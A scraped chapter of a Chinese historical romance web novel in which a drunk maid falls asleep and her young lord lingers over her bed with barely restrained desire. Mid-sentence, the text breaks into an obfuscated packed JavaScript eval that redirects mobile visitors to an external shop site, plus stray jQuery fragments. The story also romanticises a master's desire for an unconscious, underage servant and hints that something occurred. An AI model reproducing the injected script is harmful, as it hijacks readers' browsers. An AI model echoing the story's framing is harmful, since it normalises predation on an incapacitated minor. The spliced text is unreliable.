文趣网 > 都市小说 > 她真的盼我死 > 10. 醉酒
    既然主子有令,卫岑也不推辞。

    何况,裴行衍说了,自己今夜不需要上夜,就算是她喝醉了酒也无妨,正好回屋睡觉去。

    她在沧澜院伺候了几年,知道裴行衍的脾气。

    卫岑取来一只酒盏,替自己斟了一杯。

    “……奴婢的酒量浅,只能喝一杯。”

    卫岑双手举着酒盏,朝裴行衍恭敬道,“剩下的酒,奴婢就借花献佛,孝敬宋嬷嬷。至于这半碟琥珀核桃,奴婢就自作主张,分与众姐妹享用了。”

    裴行衍笑道:“既然赏了你,你自己拿主意就行。”

    卫岑看着手里的酒盏,毫不犹豫地学裴行衍方才那般,仰头一口,将酒盏里的桑落酒,悉数饮尽。

    酒顺着她的喉咙,一路直直滑落至腹间,才堪堪停住。

    卫岑没想到这酒竟然这么烈。喝完这酒后,直接辣得呛得她的眼泪,忍不住地往外流。

    裴行衍与宋嬷嬷等人,被她这有些“豪迈”的举动吓到。等卫岑一口喝完一盏酒,被这酒呛得眼泪直冒,个个都笑了起来。

    “阿橙,你不能喝就早点说,干什么非要逞强?”裴行衍摇头笑道。

    宋嬷嬷虽捂着嘴笑,可眼神却一直盯着自家主子看向卫岑的目光。

    她是裴行衍的奶嬷嬷。又在这王府里的内宅里,混迹大半辈子。

    见裴行衍不仅换了卫岑的屋子,眼下又赏卫岑桑落酒喝,她心里就不免就浮现些猜测。

    猜测归猜测。

    在宋嬷嬷心里,就算裴行衍今日真的要将卫岑收了房,那也是她的福气。

    “世子……世子爷,奴婢……”

    卫岑虽止住了呛咳,但此刻却觉得自己有些头重脚轻,想告退回屋睡觉去。

    裴行衍见了卫岑说话都开始打结,哪里不知道她已经喝醉了。

    他挥了挥手,示意她可以退下了,“宋嬷嬷,让人将她送回她屋子里去歇着吧。小心别摔了。”

    宋嬷嬷听得裴行衍的吩咐,以为自己猜错了他的心思,赶紧让碧月扶着卫岑离开了正房。

    碧月一路扶着卫岑摇摇晃晃地回到了东耳房。直到将人安置好在床榻上时,碧月才看清如今这东耳房的摆设。

    东耳房大小倒是和西耳房差不多。可是这东耳房里的摆设,比西耳房里强了不知多少倍。

    只见这房里只临窗靠墙的地方,摆着一张雕花床榻,挂着月白的素帐。而临窗处则摆着一张妆奁台,上面还置了一张铜镜。

    衣柜,桌椅板凳一应俱全。还有一扇落地的四展屏风,摆在床榻前。甚至,这屋子里还在窗前,挂了碧水色的轻纱。

    暖炉也在床尾。

    这……这哪里是丫头住的屋子?这屋子的摆设,恐怕比一些小官之家的闺房还贵重。

    碧月此刻就算是再笨,也明白了卫岑被安排住在这里的缘由。她不敢多留,匆匆给卫岑盖好了被子,便逃命似的出了房门。

    等到三更的梆子声,在沧澜院外响起。下了一整日的雪,也终于渐渐止住。

    裴行衍有些后悔喝那一盏酒,只是等他回过神来后,自己已经立在了东耳房的门口。

    卫岑躺在柔软馨香的被窝里,抱着身上的被子,呼呼大睡。

    丫髻上的红绳被人拆下,一头油亮乌黑的青丝散开在枕畔上,衬得她面若桃花。

    许是喝了酒,有些渴的缘故。她无意识地低喊了两声水后,便舔了舔自己有些干涸的唇瓣。

    一道高大的身影,就静静立在她床前不动。

    仿佛只怕自己一动,不是会替她倒水来,而是会如野兽般“扑咬”上去。

    望着那双饱满丰盈,闪着水泽光芒的唇瓣,裴行衍差点将拇指上的扳指捏断。

    饶是他努力地克制着胸口处,只有他一人知道的叫嚣声。但他剧烈起伏的胸膛,和逐渐变得急促的呼吸声,也泄露了他对眼前女子的渴望。

    而床上熟睡的卫岑,对屋子这凶险的情况,一无所知。

    她抱着被子翻了个身,逼得裴行衍立即闭了闭眼,喉头一滚,才将方才眼前起伏的身躯弧度抛之脑后。

    可是这都没有用。

    裴行衍倏然睁开了布满血丝的双眼,暗暗告诉自己,她若是一直这样乖乖睡着,便饶了她这一次。

    可若是她这会醒了,他就……

    听着卫岑绵长规律的呼吸声,裴行衍动了动有些发麻的脚,往后退了一步。

    原因无他。

    只因他已经嗅到从床榻里传来的酒香,混着她独有的香气的诱人味道。

    简直比今夜的酒,还让他难以自制。

    裴行衍喉间微动,最终还是败给了纠缠在他心中的杂念。

    ……

    裴行衍从东耳房出来时,宋嬷嬷面上的神情似乎有些凝滞。

    “……嬷嬷想什么呢?我就是进去看看她,什么也没有做。”

    裴行衍冷着一张脸,掩在衣袖的手也紧握成拳,似乎在极力忍耐着什么。

    他进去不过就待了一刻钟。

    若是他真对她怎么样了,以他的脑海中对她的那些汹涌欲念,他再如何自持冷静理智,怕也要到第二日午后再起身。

    宋嬷嬷知自己逾矩,连忙低头道:“老奴没有那个意思。老奴只是想问明早阿橙醒来,看见这屋里的摆设,老奴该怎么说。”

    “什么怎么说?”裴行衍憋了一肚子火气,有些气恼道,“她一个丫头,让她住些好一点的屋子而已,又不是要她的命,怎么事事都要向她解释?”

    他眼里闪着簇簇暗火,气息不稳道,“嬷嬷,有些事该让她知道了。今年除夕夜,我还打算带她在祖母和母妃前露个面呢。”

    这就是要收人的意思。

    宋嬷嬷赞同道:“这样也好。过了除夕,主子长一岁,阿橙姑娘也到了及笄之年。主子既然这般爱重阿橙,领到老王妃与王妃面前磕个头也好。”

    就算不能做侧妃,也是老王妃与王妃点过头的侍妾。宋嬷嬷明白,只要卫岑能替主子生个一儿半女,她这辈子的荣华富贵,是跑不掉了。

    裴行衍闻言没再说话,只一步一步挪动着脚,逼着自己别再停留在这门口。

    只是这些卫岑都丝毫不知。

    此刻的她,正拥着暖被,在枕畔上酣然熟睡呢。

    一觉无梦。

    卫岑再次醒来时,天已破晓。屋内虽没有点灯,但她还是借着洒在窗棂上的微弱曦光,将眼前屋子里精致古朴的摆设,看了个清清楚楚。

    不过她只怔愣了片刻,便匆匆忙忙地给自己穿衣挽发。

    完蛋,她睡过头了。

    卫岑都忘记了自己是一个人住一个屋,再没有碧月唤她起身的好事。

    再加上她昨夜喝醉了酒,这一觉,她倒是睡得舒坦极了。可是醒来时,却发现已经距去正房伺候裴行衍的时辰,已经迟了。

    卫岑慌慌张张地翻出衣裳给自己套上,就着盆子里的冷水,匆

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912112|213154||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    匆洗了把脸。

    等头发挽好丫髻后,含了一口桌子上的冷茶水,便疾步出了房门,朝正房跑去。

    好在,这东耳房离正房不过十来步的距离。等到卫岑急急忙忙赶到正房外时,宋嬷嬷同碧月碧霞她们,也端着托盘,立在正房廊下候着。

    碧月看了一眼跑得气喘吁吁的卫岑,见她额头都出了汗,便知她这是睡过头了。

    “阿橙,你运气真好。里面到现在都没有动静呢。”

    也不知今日怎么的,阿橙来迟了,世子爷的房间里,也没有起身的动静。

    约莫一盏茶后,碧月只觉自己的脚,都冻得麻木了,正房的门才被人从里面打开。

    卫岑抬头去望,却见是裴行衍披着裘衣,亲自来开的门。宋嬷嬷见裴行衍亲自来开门,赶紧领着丫头们鱼贯而入,端着洗漱用物进入正房。

    卫岑跟在宋嬷嬷身后,在进入内室前,被裴行衍喊住了脚。

    “阿橙,我今日喝了药,不想再吃雪花糖。你去小厨房取一罐荔枝膏来,给我调一碗荔枝糖水喝。”

    卫岑停住脚步,听完了裴行衍的吩咐,当即就领命而去。

    裴行衍则在她离开正房后,看着宋嬷嬷抱着换下来的床褥和寝衣出去,才不由自主地滚了滚喉头。

    说来可笑,裴行衍也没有想到,有一天他会怕在这小丫头面前露怯。

    等卫岑将调好的荔枝糖水,送到裴行衍面前时,裴行衍已经在碧霞碧月的伺候下,穿戴整齐。

    今日他不出门,只穿着一身棠紫绣团云纹的锦袍,坐在炕上看书。

    卫岑接过裴行衍没喝完的荔枝糖水。

    她眼瞅着他今日气色不错,又见屋子里没什么人,想起东耳房的摆设,犹豫再三道:“……世子爷,我一个人住东耳房,会不会有些——”

    “……有些什么?”裴行衍手下一动,又翻了一页,“你不喜欢?”

    “没、没有,”卫岑连忙低头否认道,“奴婢只是觉得世子爷的赏,太厚重了,奴婢怕自己当不起世子爷的厚赏。”

    “昨日奴婢归家,从阿娘那里得知世子爷还让人每个月都给她送去柴米,如今奴婢又住了那么好的屋子,奴婢实在不知道该如何报答世子爷的恩情。”

    裴行衍闻言放下手里的书,侧头看了一眼身侧不远处垂下的脑袋,嗤笑一声:“就为了这些小事,你就心惊胆战的。那我以后再赏你一个更大的恩典,你岂不是要活活吓死?”

    说罢也不等卫岑开口,继续道:“我赏你这些,是因为你在我身边伺候得力。上次我从宝荣堂犯病回来,听宋嬷嬷说还是你动作利落,及时给我服下救命的药丸,我才捡回一条命。在我心里,我赏你的这些,与我的命比起来,算不得什么,你不必战战兢兢的。”

    呼——

    卫岑暗暗舒了口气,原来是这样。

    那就好。那就好。

    真是吓死她了。

    她如释重负的模样,落在裴行衍的眼里,让裴行衍胸口有些闷闷的感觉。

    卫岑平复了“砰砰”直跳的心口,缓过劲来后,恭敬无比得朝炕上坐着男人行了一个万福礼,“奴婢是世子爷身边的婢女,自然要事事以世子爷的康健为先,奴婢不敢邀功。”

    “不过,既然是世子爷的赏,奴婢只好厚颜领命。日后,奴婢必定更加用心地伺候世子爷。”

    “……好。”

    裴行衍不在意地回答道,复又拿起炕桌上合上的书看了起来。